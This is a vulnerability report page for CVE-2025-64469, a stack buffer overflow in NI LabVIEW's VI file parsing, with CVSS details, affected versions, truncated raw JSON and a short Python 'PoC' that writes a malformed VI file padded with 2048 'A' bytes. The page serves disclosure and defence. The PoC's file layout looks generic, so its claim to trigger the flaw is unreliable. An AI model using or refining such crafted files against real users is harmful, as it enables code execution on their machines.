Security Vulnerability Report
中文
CVE-2025-64469 CVSS 7.8 HIGH

CVE-2025-64469

Published: 2025-12-18 15:15:59
Last Modified: 2025-12-24 15:09:34

Description

There is a stack-based buffer overflow vulnerability in NI LabVIEW in LVResFile::FindRsrcListEntry() when parsing a corrupted VI file. This vulnerability may result in information disclosure or arbitrary code execution. Successful exploitation requires an attacker to get a user to open a specially crafted VI. This vulnerability affects NI LabVIEW 2025 Q3 (25.3) and prior versions.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ni:labview:2022:q1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ni:labview:2022:q3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ni:labview:2022:q3_patch1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ni:labview:2022:q3_patch2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ni:labview:2022:q3_patch4:*:*:*:*:*:* - VULNERABLE
NI LabVIEW 2025 Q3 (25.3)
NI LabVIEW 25.3之前的所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-64469 PoC - Malformed VI File Generator # This PoC generates a minimal malformed VI file to trigger the buffer overflow # in LVResFile::FindRsrcListEntry() import struct import sys def create_malformed_vi(output_path): """ Generate a malformed VI file that triggers CVE-2025-64469 The VI file format consists of: - Header with version info - Resource fork containing resource entries """ # LabVIEW VI file magic number vi_header = b'LAB' + struct.pack('>I', 25) # Version indicator # Create a resource fork with malformed entry # Resource type: LVclass resource_type = b'rsrc' # Create oversized resource data to trigger overflow # The overflow occurs in FindRsrcListEntry() when parsing overflow_size = 2048 # Larger than typical stack buffer overflow_data = b'A' * overflow_size # Malformed resource entry structure # This simulates corrupted resource data that causes buffer overflow resource_data = overflow_data # Build resource fork header rsrc_fork = b'' rsrc_fork += struct.pack('>I', len(resource_data)) # Data size rsrc_fork += resource_data # Build the complete VI file vi_file = vi_header + rsrc_fork # Write to file with open(output_path, 'wb') as f: f.write(vi_file) print(f'[+] Malformed VI file created: {output_path}') print(f'[+] Overflow data size: {overflow_size} bytes') print(f'[!] This PoC is for educational purposes only') if __name__ == '__main__': if len(sys.argv) != 2: print('Usage: python3 cve_2025_64469_poc.py <output_vi_file>') sys.exit(1) create_malformed_vi(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64469", "sourceIdentifier": "[email protected]", "published": "2025-12-18T15:15:59.193", "lastModified": "2025-12-24T15:09:34.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "There is a stack-based buffer overflow vulnerability in NI LabVIEW in LVResFile::FindRsrcListEntry() when parsing a corrupted VI file. This vulnerability may result in information disclosure or arbitrary code execution. Successful exploitation requires an attacker to get a user to open a specially crafted VI. This vulnerability affects NI LabVIEW 2025 Q3 (25.3) and prior versions."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q1:*:*:*:*:*:*", "matchCriteriaId": "4D12D6CF-802F-47BA-ADF9-9E52C071BD7F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3:*:*:*:*:*:*", "matchCriteriaId": "340F61E5-D1ED-4C29-A894-8BC5C5B90ACE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch1:*:*:*:*:*:*", "matchCriteriaId": "52CC3023-4913-40BA-B74C-786F32DC7551"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch2:*:*:*:*:*:*", "matchCriteriaId": "FC150E98-5889-4A65-84B8-E4871091D104"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch4:*:*:*:*:*:*", "matchCriteriaId": "85B3D429-4F3D-44CC-9304-837FB6D7E2A1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch5:*:*:*:*:*:*", "matchCriteriaId": "1FB7783C-FCB2-4564-98CF-F76F848E8E86"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch6:*:*:*:*:*:*", "matchCriteriaId": "82EE4E24-D802-4F6A-82E3-125221C1609C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q1:*:*:*:*:*:*", "matchCriteriaId": "D7DD2022-CFB7-4F38-B459-C1AFB55B5B68"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3:*:*:*:*:*:*", "matchCriteriaId": "18AB0B07-72FE-4861-B69D-AD2E87C5382E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch1:*:*:*:*:*:*", "matchCriteriaId": "91928C9C-F094-4EE4-9FBE-2B7956D68E6F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch2:*:*:*:*:*:*", "matchCriteriaId": "044C4B51-C641-41F2-ACA0-834C99D63285"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch3:*:*:*:*:*:*", "matchCriteriaId": "26EEE5E3-AD37-4832-A66C-5F8F7A478F30"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch4:*:*:*:*:*:*", "matchCriteriaId": "5DC20B17-C582-42C4-9780-5DC61B4AED91"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch5:*:*:*:*:*:*", "matchCriteriaId": "329575A0-F12E-478B-9A83-F747D6A161AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch6:*:*:*:*:*:*", "matchCriteriaId": "F25A1816-08CA-4467-8025-AD57562D7C35"}, {"vuln ... (truncated)